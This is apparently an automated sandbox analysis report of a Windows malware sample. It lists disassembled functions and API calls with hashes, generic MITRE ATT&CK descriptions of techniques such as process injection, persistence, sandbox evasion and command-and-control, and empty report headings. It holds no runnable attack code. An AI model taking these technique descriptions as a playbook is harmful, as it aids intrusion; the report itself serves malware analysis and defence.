API String ID: 1547350101-0
Opcode ID: 2012107abc1cb268e6a1d37d08c61876cc1d65c523796c5c3d8c0db6c132dc17
Instruction ID: 82d878a03722868edcca02ec7a526a4ec15ba9fa6bc92c7ca8ed528a2fc2d326
Opcode Fuzzy Hash: 2012107abc1cb268e6a1d37d08c61876cc1d65c523796c5c3d8c0db6c132dc17
Instruction Fuzzy Hash: 69410732B00214ABDB116FB9DD42BDE37A5AF54364F55011BFA24E72A1DB7DC881C728

Uniqueness

Uniqueness Score: -1.00%

Function 00404760, Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 004047B6

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 8c9ba8c6b0face61b7aba841495db00028311d42393c9fa7f0638af2fc6da6ed
Instruction ID: dfda7c00df0841902cb06b2f42cfb0f66b82f69b656c156bd023c234b4ed09ab
Opcode Fuzzy Hash: 8c9ba8c6b0face61b7aba841495db00028311d42393c9fa7f0638af2fc6da6ed
Instruction Fuzzy Hash: A2315B75D002189BDB20BBA8DC0ABDEB775EF42314F40467AE900772C1EB384A8587D9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6F4, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00412F77: _free.LIBCMT ref: 00412F85

Part of subcall function 0041C6CB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00421AC0,?,00000000,00000000), ref: 0041C76D

GetLastError.KERNEL32 ref: 0041B75C
__dosmaperr.LIBCMT ref: 0041B763
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041B7A2
__dosmaperr.LIBCMT ref: 0041B7A9

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2e3881f2e11957972756898f843b487a2f604e9d9679e774f7dbafeea38e4a0c
Instruction ID: fa5fe721dc40e34131fdc425d20f84534518bcd7ae09312e7d44b69049da0b9f
Opcode Fuzzy Hash: 2e3881f2e11957972756898f843b487a2f604e9d9679e774f7dbafeea38e4a0c
Instruction Fuzzy Hash: 8A21B871600205AF9B206F668DC18EBB79DEF803A8710451EF87597291DB39EC818BE8

Uniqueness

Uniqueness Score: -1.00%

Function 004177E2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00412EF5,?,?,?,?,00413B62,?), ref: 004177E7
_free.LIBCMT ref: 00417844
_free.LIBCMT ref: 0041787A
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00412EF5,?,?,?,?,00413B62,?), ref: 00417885

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c19210ab0b67f8335c27f76d37a9bd69cc3d786ad34b3c019c828565094643a9
Instruction ID: baa127bbc5f565389e38085dc499293a7eabdc074eb440cbf30b8043e54015ee
Opcode Fuzzy Hash: c19210ab0b67f8335c27f76d37a9bd69cc3d786ad34b3c019c828565094643a9
Instruction Fuzzy Hash: 4E11AB312085056B971536766CCAEEB22798BC1779725063FF124462F2EE6D8CD6812D

Uniqueness

Uniqueness Score: -1.00%

Function 00417939, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 0041793E
_free.LIBCMT ref: 0041799B
_free.LIBCMT ref: 004179D1
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 004179DC

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2add876c0c13a5442026552f3bf5f8e7e163e9e4532b90915aa240f2ea826394
Instruction ID: 6c454927f12fe8cf2fc27f57303b9e9cadc6fb887b1c90023108bda8f8f94f8e
Opcode Fuzzy Hash: 2add876c0c13a5442026552f3bf5f8e7e163e9e4532b90915aa240f2ea826394
Instruction Fuzzy Hash: D511CA722086056AE7112676ACC2DEF25798BC1375725023FF528962F2EE298CDA411C

Uniqueness

Uniqueness Score: -1.00%

Function 0041802C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,00418191,00000000,?,0041EAF5,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00418042
GetLastError.KERNEL32(?,0041EAF5,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00418191,00000000,00000104,?), ref: 0041804C
__dosmaperr.LIBCMT ref: 00418053

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 279edd8d4ece87b1d3a8637269c62e89e05bb7f154ad503b0c6df0af7cc3e302
Instruction ID: 7d11fe44710ad2e145ebf17425a58a83ae4fe265a77380298ea0c9be17473f9d
Opcode Fuzzy Hash: 279edd8d4ece87b1d3a8637269c62e89e05bb7f154ad503b0c6df0af7cc3e302
Instruction Fuzzy Hash: F3F08632600119BB8B201FA2DC0489BFFA9FF493A0305811EF518D7121CF39E8A2C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 00418095, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,00418191,00000000,?,0041EA80,00000000,00000000,00418191,?,?,00000000,00000000,00000001), ref: 004180AB
GetLastError.KERNEL32(?,0041EA80,00000000,00000000,00418191,?,?,00000000,00000000,00000001,00000000,00000000,?,00418191,00000000,00000104), ref: 004180B5
__dosmaperr.LIBCMT ref: 004180BC

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 4e38e9137bc5694164b1a41a536ff43004c579aa846234ace767dc9fd853d331
Instruction ID: a5a21c8c9008b9e84ed95e0516e1adb1fcdf13e8461108bf5bf834ad1dbe5dd9
Opcode Fuzzy Hash: 4e38e9137bc5694164b1a41a536ff43004c579aa846234ace767dc9fd853d331
Instruction Fuzzy Hash: 96F04F32600519BB8B201F62D80889BBF69FF483A1301851AB519C6111CF39E8A6D7D8

Uniqueness

Uniqueness Score: -1.00%

Function 00422475, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00403FB0,00000000,0042F878,00000000,00403FB0,?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0), ref: 0042248C
GetLastError.KERNEL32(?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0,00000000,00403FB0,?,00419670,00403FB0), ref: 00422498

Part of subcall function 0042245E: CloseHandle.KERNEL32(FFFFFFFE,004224A8,?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0,00000000,00403FB0), ref: 0042246E

___initconout.LIBCMT ref: 004224A8

Part of subcall function 00422420: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0042244F,0041F8AC,00403FB0,?,0041911C,00000000,?,00403FB0,00000000), ref: 00422433

WriteConsoleW.KERNEL32(00403FB0,00000000,0042F878,00000000,?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0,00000000), ref: 004224BD

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 55b695b80b4adcc94f6d78668d328e8ccb605adb0f24a91616ec9c01678fe125
Instruction ID: 4d922e84e3131fe004bba849cd65aa8d219f7face3b1d8a9aeb38e3bd1f8dc4d
Opcode Fuzzy Hash: 55b695b80b4adcc94f6d78668d328e8ccb605adb0f24a91616ec9c01678fe125
Instruction Fuzzy Hash: E6F03736202124BBCF223F95EC04E8E3F26FF087A4B854125FB1C95130CA728820DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041612C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00416135

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 00416148
_free.LIBCMT ref: 00416159
_free.LIBCMT ref: 0041616A

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c1be57b9bdfd3a6ace0b328edb0ccad7c54cf7fca7d109cc86c0d4ce85a00577
Instruction ID: 12e0e64dabf7da0755c098b11253b9f5cf15452db021a22c12e707585047230e
Opcode Fuzzy Hash: c1be57b9bdfd3a6ace0b328edb0ccad7c54cf7fca7d109cc86c0d4ce85a00577
Instruction Fuzzy Hash: 8EE04FB44116219B8A416F12FE435CB3B25BB0970671221BFF40002631CFF680929FCD

Uniqueness

Uniqueness Score: -1.00%

Function 0041C469, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0041BFFE: GetOEMCP.KERNEL32(00000000,0041C270,?,?,b;A,00413B62,?), ref: 0041C029

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,b;A,0041C2B7,?,00000000,?,?,?,?,?,?,00413B62), ref: 0041C4C7
GetCPInfo.KERNEL32(00000000,0041C2B7,?,b;A,0041C2B7,?,00000000,?,?,?,?,?,?,00413B62,?), ref: 0041C509

Strings

b;A, xrefs: 0041C46B

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CodeInfoPageValid
String ID: b;A
API String ID: 546120528-2306562146
Opcode ID: 6a9bcc734524778d54e4abbb001ca9c50532ae960f0c13ee6c1a39a90d650e73
Instruction ID: 75df617f4fd5e6b814c41c359152f13e72a3abb5cca6224451d6e123ab299eac
Opcode Fuzzy Hash: 6a9bcc734524778d54e4abbb001ca9c50532ae960f0c13ee6c1a39a90d650e73
Instruction Fuzzy Hash: F0511370A40254AEDB208F26CC816FBBBE6EF50304F14446FD08687251E77CA986CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C255, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0041BFFE: GetOEMCP.KERNEL32(00000000,0041C270,?,?,b;A,00413B62,?), ref: 0041C029

_free.LIBCMT ref: 0041C2CD

Strings

b;A, xrefs: 0041C25D

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID: b;A
API String ID: 269201875-2306562146
Opcode ID: 254bf34c1be40f8779cd65d4814556e2b5b549f5670f27e9a3ac313cb2698e8b
Instruction ID: d6dbc4b4da57dcc4575685f08b718ff71718c342f15e2cbd4f7e5971bb12b61d
Opcode Fuzzy Hash: 254bf34c1be40f8779cd65d4814556e2b5b549f5670f27e9a3ac313cb2698e8b
Instruction Fuzzy Hash: 8E31DE32900249AFDB11DFA9C880BDF7BE4EF45324F1140AAF810972A1EB39DD90CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00412DE6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00412F77: _free.LIBCMT ref: 00412F85

Part of subcall function 00417428: MultiByteToWideChar.KERNEL32(0041C4FF,00000100,E8458D00,00000000,00000000,00000020,?,0041D2C8,00000000,00000000,00000100,00000020,00000000,00000000,E8458D00,00000100), ref: 00417498

GetLastError.KERNEL32(?,?,?,?,?,?,?,0041302E,00000000,?,00000000,74E06490), ref: 00412E4A
__dosmaperr.LIBCMT ref: 00412E51

Strings

.0A, xrefs: 00412E3B

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr_free
String ID: .0A
API String ID: 4030486722-319812877
Opcode ID: 98f970e72c0afe9793335069aa8fe71a43c99bbfabb3c31c7e1419ae6eb74280
Instruction ID: 95591c3dd81ddb012bc9305f8d9982c524685b7e26a807f23c67c12eccc6d524
Opcode Fuzzy Hash: 98f970e72c0afe9793335069aa8fe71a43c99bbfabb3c31c7e1419ae6eb74280
Instruction Fuzzy Hash: 3421D8316007116BDF219F268D01A9B7BA9EF90364F10451BF829D7291E7B8EDA18798

Uniqueness

Uniqueness Score: -1.00%

Function 004135A9, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 004135DE

Part of subcall function 00417F88: GetCurrentDirectoryW.KERNEL32(00000105,?,?,?,00418191), ref: 00417FC1

Strings

p1A, xrefs: 004135B2
p1A, xrefs: 004135B1

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CurrentDirectory__dosmaperr
String ID: p1A$p1A
API String ID: 4125400436-1737919529
Opcode ID: 5452fbf11968b411c1a532657a6425d2d0525fc4897d72563acfebefe6a954f6
Instruction ID: f9e5378d05e281561a2270d4a7950918a2af6bc20de512f840c54fb659b31aff
Opcode Fuzzy Hash: 5452fbf11968b411c1a532657a6425d2d0525fc4897d72563acfebefe6a954f6
Instruction Fuzzy Hash: EDF0F671140105B6CB24DF06C0424EEF7FEFF51F567A4805FE0548B241D7799AC18398

Uniqueness

Uniqueness Score: -1.00%

Function 0041BFFE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,0041C270,?,?,b;A,00413B62,?), ref: 0041C029
GetACP.KERNEL32(00000000,0041C270,?,?,b;A,00413B62,?), ref: 0041C040

Strings

b;A, xrefs: 0041C000

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: b;A
API String ID: 0-2306562146
Opcode ID: 29913451c8c649cb930c0e3bc67a6f1a3db2d9aebebad7629410290bbb7e9a16
Instruction ID: a46882d5012796bc580113e831dd82926a3e533135f7d833651689c2a9b82885
Opcode Fuzzy Hash: 29913451c8c649cb930c0e3bc67a6f1a3db2d9aebebad7629410290bbb7e9a16
Instruction Fuzzy Hash: 13F06830540214CBDB10DB94DD8E7AD7B70A705339F50535AE435861E2C7F559C6CF49

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report CFE9H9mdWr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre